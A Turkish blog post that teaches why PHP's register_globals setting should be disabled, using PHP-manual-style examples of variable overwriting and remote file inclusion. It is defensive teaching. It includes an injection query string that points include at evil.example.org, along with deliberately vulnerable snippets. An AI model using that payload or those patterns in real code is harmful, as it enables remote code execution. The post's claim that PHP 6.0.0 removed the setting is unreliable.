twitter
Google Plus
tumblr
rss

Yorumlar Hakkında - Duyuru

Yorumlarda lütfen sallama da olsa bir isim yazın. "Adsız" olarak yazıyorsunuz, sonra birçok kişi adsız olarak birşey soruyor. cevap verirken "@adsız (15 ekim 13:08)'de yazan kişi" diye yazıyorum. Hoş olmuyor :) Eminim isminiz çok güzeldir deyip, sizi konuyla baş başa bırakıyorummm.

17 Ağustos 2010 Salı

Php de Register Globals Neden Kapali Olmali ?

register_globals belirteci (directive) PHP 4.2.0 ve üstü sürümlerde ön tanımlı olarak kapalı halde (değeri OFF) gelir. Bu belirtecin açık (değeri ON)olması doğrudan güvenlik açığı oluşturmasa da ciddi bir tehlike oluşturduğundan değerine dikkat edilmesi gereklidir. Uygulamalar bu belirtecin kapalı olması durumuna göre geliştirilmelidir.

Bu belirtecin açık olması neden risklidir?. Bu konuda her seviyeye uygun örnekler bulmak zordur. PHP resmi sitesinde bu konu ile ilgili güzel bir örnek vardır.

code:

< ? if (yetkili_kulanici()) { $authorized= true; } if ($authorized) { include'/cok/onemli/bilgi.php'; } ? >




register_globals'ın açık olması durumunda bu sayfa adres satırına ?authorized=1 eklenerek çağırıldığında çok önemli bilgiye ulaşılmış olur. Bu tamamen programlama hatasıdır, register_globals belirtecinin oluşturabileceği tehlikeyi göstermek için basit bir örnektir. register_globals kapalı olduğunda programcı tarafından oluşturulan değişkenler dışarıdan müdahele ile (?authorized=1 gibi) değiştirilemez. Açık oması durumunda ise değişkenler tanımlanırken bir ilk değer verilmelidir.

register_globals'ın çıkarabileceği bir diğer tehlikeli duruma include fonksiyonunun kullanımı örnektir:
code:
< ? include"$path/script.php"; ?>


register_globals açık olduğunda bu sayfayı adres satırına ?path=http%3A%2F%2Fevil.example.org%2F%3F eklenerek çağırıldığında aşağıdaki gibi bir sonuç çıkar.

Code:
< ? include'http://evil.example.org/?/script.php'; ?>


Eğer allow_url_fopen açık ise, ki php.ini de öntanımlı olarak açıktır, bu kod http://evil.example.org/ deki script.php dosyasını sanki aynı makinada bulunan bir dosya gibi çalıştırır. Bu birçok açık kaynaklı uygulamalarda ortaya çıkmış ciddi bir tehlikedir.

Tanımlandığında $path değişkenine bir ilk değer verilerek bu engellenebilir. register_globals'ı kapatarak ta bu engellenebilir. register_globals'ın kapalı olması bu ve bunun gibi programcı hatalarından kaynaklanan açıkların kapatılmasını sağlar.

Formdan gelen ve dışardan gelen verilerin işleneceği durumlarda programcıların bu durumu (register_globals) dikkate almaları gerekir. $_POST ve $_GET dizilerinin kullanılması bir önlemdir. Fakat tehlikeyi tamamen engellemez. Yukarıda da belirtiğimiz gibi değişkenlere başlanğıç değeri verilmesi çok önemlidir. Bu bölümde anlatılanlar register_globals'in bir güvenlik açığı olduğunu göstermez ama kapalı olmasının bir bazı tehlikeleri önlediği kabul edilen bir gerçektir. Ayrıca değerin kapalı olması programcıların kullandıkları değişkenlerin kaynaklarını bilmeleri ve düşünmeleri,ki bu iyi programcının özelliklerindendir, konusunda zorladığı için de faydalıdır.

başka bir deyişle;

get ile aldığımız verileri ?deneme=12345 şeklinde alırken register_globals açıksa;

< ?php echo $deneme; ?>


şeklinde ekrana yazdırabiliriz. oysaki register_globals kapalı olduğunda bu şekilde değişkeni kullanamayız.

< ?php echo $_GET['deneme']; ?>


bu şekilde yaptığımızda get ile gönderdiğimiz deneme nesnesine ulaşabiliriz. aynı durum post methodu içinde geçerli bir durumdur.
session 'ları nasıl etkiliyor peki, register_globals kapalı olduğunda session_register() çalışmaz. session kullanırken her zaman $_SESSION global değişkenini kullanmak en mantıklısıdır.

COOKIE 'de de aynı mantık işlev görür. yanlız cookie'leri yine setcookie fonksiyonu ile tanımlarız. daha sonra $_COOKIE global değişkeni ile bu cookielere ulaşabiliriz.

yani register_globals 'in açık olmasının kısa tanımı şudur; dışarıdan gelen verileri adlarına göre değişken yapar. bu da bazı durumlarda potansiyel güvenlik açıklarına sebep olur. eğer register_globals kapalıysa $_POST,$_GET,$_REQUEST,$_COOKIE,$_SESSION global değişkenlerine dışardan gelen veriler adlarına göre indeks indeks atanır.

unutmadan bir bilgi..

- register_globals php 4.2.0 ile varsayılan değer olarak 'off' değerini almaya başladı
- php 6.0.0 ile register_globals seçeneği tamamen kaldırıldı.


0 yorum:

Yorumlar Hakkında:


Yorum yapmaktan çekinmeyin, Yorumlar hem benim için teşvik, sizin içinde kendinizi ifade edebileceğiniz bir ortam! İyi veya kötü her türlü yoruma açığım. Ha bu arada unutmadan, yaptığınız yorumda bana cevap vermemi beklediğiniz birşey yazdıysanız, lütfen verdiğim cevabı okumak için 1-2 içinde blogumu tekrar kontrol edin.

Yorum Gönder

Etiketgiller

.dll (2) .NET (1) #googleplus (1) +1 butonu (1) 9gag (1) a ve an neye göre belirlenir (1) açıklama (2) Adsense (1) Adtech (1) Afrikalı zenci bir çocuğun bu şiiri (1) algorithm (1) antivirüs (1) Apaci (1) apple (4) arkadaş ekleme (1) Arkadaş-Sevgili Şiiri (1) Arkadaşın Olmayan Kişilerin Resimlerini Görmek (1) asus notebook menteşe kırıldı (1) aşk tesadüfleri sever (1) azize nur (1) bakmak (2) balcali hastanesi (1) basit (3) Basit Css Ornegi (1) basit örnek (3) bedava (2) bedava internete girmek (1) bilgisayar mühendisi (1) bilinçaltı (1) biyografisi (2) blogda değişiklikler (1) blogger kod çevirici (1) blogger temaları (1) blogspot için widgetler (1) boost hack (2) bot yapma (1) bozuk zil sesi (1) btk yasağı (1) c de fonksiyonlar (1) c programlama dili (1) C++ hesap makinesi kodları (1) c++ sayı tahmin oyunu (basit) (1) Cd key already in use (1) CD key değiştirme (1) counter strike cd key sorunu (1) crack (2) cs cd key değiştirme işlemi (1) Css dersleri (1) cyprus flights (1) cyprus travel (1) database (2) ders notu (1) developer (1) directtraveller (1) dns ayarları (1) doğum günü (1) dowland (1) download (12) e-ticaret (1) Eklentisi (18) ekran kararıyor (1) en son bölüm (1) engeli kaldırmak (1) english grammar (1) English Proverbs (1) error (1) Ezel dizisi (1) f8 konferansı (1) facebook (8) facebook giremiyorum (2) Facebook Hesabım kapatıldı (1) facebook hesabıma ulaşamıyorum (1) facebook istatistik (1) facebook neden açılmıyor (1) facebook tarzı (1) facede ilginç profil resmi (1) file_get_contents (1) film müzikleri (1) filmin konusu (1) flash etiket bulutu (1) Follower Bug (1) Friend Requests Blocked (1) full (3) galaxy s3 (2) galaxy s3 ayarları (1) galaxy s3 flash apk (1) galaxy s3 flash player (1) Galaxy S3 Zil Sesi Değiştirme (1) gau (1) girne amerikan (1) gizem doğan facebook (1) go to imageshack.us to register (1) Google (6) Google +1 buton (1) google plus (1) google projeleri (2) göğüslü (1) haberleri (3) hack (6) harici harddisk açılmıyor (1) Hayat Hikayesi (1) hepsiniseninicinyaptim.tumblr.com (1) Hesaba Ulaşılamıyor (1) hileleri (2) how to InnoDB (1) html alt satıra geçme kodu (1) html kod çeviriçi (1) html kodu (1) html5 (1) Ingilizce fillerin 2. ve 3. halleri (1) InnoDB (1) ilginç resimler (1) ilk apple bilgisayar (1) imhatimi (2) imhatimi.org (3) inci sözlük (1) ingilizce sözler (1) ingilizcede (1) iphone (2) iphone 5 (2) iş takip (1) iş takip programı (1) iş takip programı full (1) iş takip programı ücretsiz (1) iş takip programları (1) java (2) karakter sorunu (1) kıbrıs (2) kız arkadaş (1) kimdir (5) kimler oynuyor (3) klasör gizleme (1) kpss (1) kpss çalındı mı (1) kpss soruları (1) Marika Fruscio (1) Mark Zuckerberg (3) mp3 (4) mp3 kesme programı (1) msn hack (3) mysql (2) nasıl açılır (2) nasıl çalışır (3) nasıl kurulur (2) nasıl yapılır (4) nasil (3) ne (7) ne demek (11) ne işe yarar (10) ne zaman (9) neden (4) nedir (16) Need For Speed World Update Sorunu (1) nfs (3) nfs world (1) Nikola Tesla (1) no bra january (1) online izle (4) orucu bozan haller (1) öss (2) ösym (3) Photoshop dosyalarinda psd onizleme (1) php (4) programı (3) resimli anlatım (2) resmi (3) samsung (5) samsung galaxy s3 (4) samsung galaxy s3 sorunları (1) Samsung Galaxy S3 Zil Sesi Değiştirme (1) seditio (7) seditio corehacks (1) seditio destek sitesi (1) Seditio eklenti (4) Seditio Flash Etiket Bulutu (2) seo (1) seo nedir (1) serial (4) sistem gereksinimleri (3) sorunu (8) sözler (2) sözleri (4) sql server 2008 kurulumu (1) Steve Jobs (2) Steve Jobs kimdir (1) survivor taner (1) şiirleri (2) şişmanlama (1) şuuraltı mesajları (1) tavsiye (3) telefon (7) torrent (3) troubleshoot3r (2) troubleshooter (28) türkçe (3) Türkçe Altyazı (1) twitter (2) utf-8 (2) virüs bulaştı (1) web tasarım (1) web tasarım adana (1) windows 7 (3) Yılmaz ilker şahin (2) zend framework (1)